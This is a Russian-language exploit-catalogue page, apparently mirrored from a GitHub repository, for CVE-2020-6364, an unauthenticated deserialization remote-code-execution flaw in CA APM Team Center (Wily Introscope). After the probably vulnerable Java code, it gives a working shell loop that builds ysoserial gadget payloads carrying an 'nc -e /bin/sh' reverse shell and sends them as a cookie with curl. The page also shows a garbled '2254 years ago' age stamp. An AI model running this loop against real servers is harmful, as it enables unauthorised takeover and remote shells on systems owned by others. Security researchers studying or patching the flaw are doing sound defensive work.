Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-6364 — Удаленное выполнение кода в CA APM Team Center (Wily Introscope) | Kitploit
Инструменты/GitHubGitHub/gquere/cve-2020-6364
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubgquere/cve-2020-6364

CVE-2020-6364

Удаленное выполнение кода в CA APM Team Center (Wily Introscope)

Репозиторий
2254 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-6364

Удалённое выполнение кода в CA APM Team Center (Wily Introscope).

Оригинальное уведомление

Уязвимость десериализации в CA APM Team Center приводит к неаутентифицированному удалённому выполнению кода на сервере.

При аутентификации на сервере возвращается cookie, начинающаяся с пресловутой строки rO0, указывающей на объект, сериализованный в формате base64:

Хотя я не полностью отследил проблему статически, вероятно, уязвимый код выглядит так:

public class HttpRequestHeaderInfo implements Externalizable {
  public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {

    in.readInt();
    int numMapEntries = in.readInt();
    this.fRequestParameterMap = (numMapEntries == 0) ? Collections.EMPTY_MAP : new HashMap(numMapEntries);

    for (int i = 0; i < numMapEntries; i++) {
      this.fRequestParameterMap.put(in.readUTF(), in.readObject());
    }

    int numCookies = in.readInt();
    this.fCookies = (numCookies == 0) ? kNoCookies : new Cookie[numCookies];

    for (int j = 0; j < this.fCookies.length; j++) {
      this.fCookies[j] = new Cookie((String)in.readObject(), (String)in.readObject());
    }
  }
}

Обратите внимание, что карта параметров и cookie десериализуются с помощью readObject() из пользовательского ввода.

Это тривиально эксплуатируется путём подбора подходящей цепочки в цикле:

for gadget in AspectJWeaver BeanShell1 C3P0 Click1 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 CommonsCollections7 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 MozillaRhino2 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Vaadin1 Wicket1
do
    java -jar ./ysoserial-0.0.6-SNAPSHOT-all.jar $gadget "nc -e /bin/sh ..." | base64 -w0 > cookie
    payload=$(cat cookie)
    curl -s -k 'https://remoteserver/' -X POST -H "Cookie: CAWily=$payload"
done

Единственная цепочка, которая дала мне удалённое выполнение кода — CommonsBeanutils. Встроенный JAR-файл — org.apache.commons_beanutils_1.9.2.1.jar — и действительно содержит уязвимую цепочку согласно репозиторию Maven.

Благодарности

Обязательная благодарность одному особенному человеку, который попросил меня перепроверить заголовок.

Скачать инструмент